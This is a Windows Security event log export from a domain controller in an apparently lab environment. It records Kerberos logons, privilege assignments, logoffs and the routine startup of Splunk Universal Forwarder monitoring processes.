-Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255587 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x32EFD8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255586 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32EFD8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255585 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x32EE90 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64545 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255584 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32EE90 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255583 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x32EE66 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64544 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255582 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32EE66 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:22:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255596 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255598 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x694 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255597 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x102c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:22:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255600 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:22:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255599 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1310 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:22:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255601 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1118 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:22:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255602 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32F0A4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:22:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255605 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3324C0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:22:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255604 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3324C0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64558 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:22:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255603 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3324C0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:23:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255606 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcfc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:23:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255607 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xce0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:23:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255609 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1244 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:23:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255608 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc9c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:23:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255611 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa2c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:23:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255610 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x99c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:23:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255612 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1034 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory 